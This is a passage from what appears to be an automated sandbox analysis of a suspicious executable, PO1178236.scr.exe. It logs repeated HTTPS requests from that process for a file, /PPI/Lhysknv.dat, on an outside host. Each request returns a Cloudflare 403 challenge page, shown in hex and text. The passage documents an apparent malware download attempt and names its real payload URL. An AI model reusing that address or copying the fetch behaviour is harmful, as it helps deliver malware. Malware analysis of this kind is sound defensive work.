6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 33 31 30 64 38 30 34 32 63 66 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6310d8042cf</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:38 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 33 31 30 64 38 30 34 32 63 66 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4f 43 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6310d8042cf',t:'MTczNjQwNzcxOC4wMDAwMDA='};v
2025-01-09 07:28:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49764	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:39 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:39 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PYCOcNcCPLbttbhQjAdfJadLNGwG9c1jy9uRIxDc8CI4e7vaxNO1Vs40S1N4gj%2FS5tIUNR9etV0Q7HnyXxooLAiEFkrBOVggVgQ5VZG5T077eIfgTZ8fmuiJ9mzkQ%2F53j8NZA9exjes%2BCjzy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6358d1c727a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1879&min_rtt=1877&rtt_var=708&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1541710&cwnd=224&unsent_bytes=0&cid=fe15930e2c8a7285&ts=260&x=0"
2025-01-09 07:28:39 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 33 35 38 64 31 63 37 32 37 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6358d1c727a</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:28:39 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 33 35 38 64 31 63 37 32 37 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6358d1c727a',t:'MTczNjQwNzcxOS4wMDAwMDA='};var a
2025-01-09 07:28:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49766	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:39 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:39 UTC	1001	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SVrcLGi1saHgTLfdMzee4zAy96uYIXOA8cAKzc3Rd1IfiCDTw7wA8mJVO4hxvNAbsDLKCBEOuQzxR340vk7K%2Bstg3L88iefkvbXIG2PqisfCKJfRhynf2fBvMMpILyVmZgqUGQDH7ats5zBZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6392fb141a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2190&min_rtt=2181&rtt_var=837&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1292607&cwnd=162&unsent_bytes=0&cid=b46fa61e25adb766&ts=134&x=0"
2025-01-09 07:28:39 UTC	368	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 Data Ascii: /title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-w
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 68 61 2d 63 Data Ascii: ghlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captcha-c
2025-01-09 07:28:39 UTC	1369	IN	Data Raw: 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 33 39 32 66 62 31 34 31 61 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c Data Ascii: border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6392fb141a3</strong></span> <span class="cf-footer-separator sm:hidden">&bul
2025-01-09 07:28:39 UTC	994	IN	Data Raw: 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 33 39 32 66 62 31 34 31 61 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4f 53 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 3d 64 6f 63 Data Ascii: cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6392fb141a3',t:'MTczNjQwNzcxOS4wMDAwMDA='};var a=doc
2025-01-09 07:28:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49767	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:40 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:40 UTC	1003	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:55 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Ailqv6vON3VEDPOXA86mDiNlIS20dTZ7jZnFqvmZW9RtFNCU36IWrY%2B6K%2FFtQeioQyCxvBvQWt5qucAYXJSKJLNukx5vq6tk3oi40er1sxvNaPwtn1tP2ee4M7KxVgTCLkjWzR0cx8oNZiP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b63d0ee29e05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1886&min_rtt=1877&rtt_var=722&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1498204&cwnd=242&unsent_bytes=0&cid=19a8a2e22708c9e3&ts=142&x=0"
2025-01-09 07:28:40 UTC	366	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:40 UTC	1369	IN	Data Raw: 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 Data Ascii: e</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device
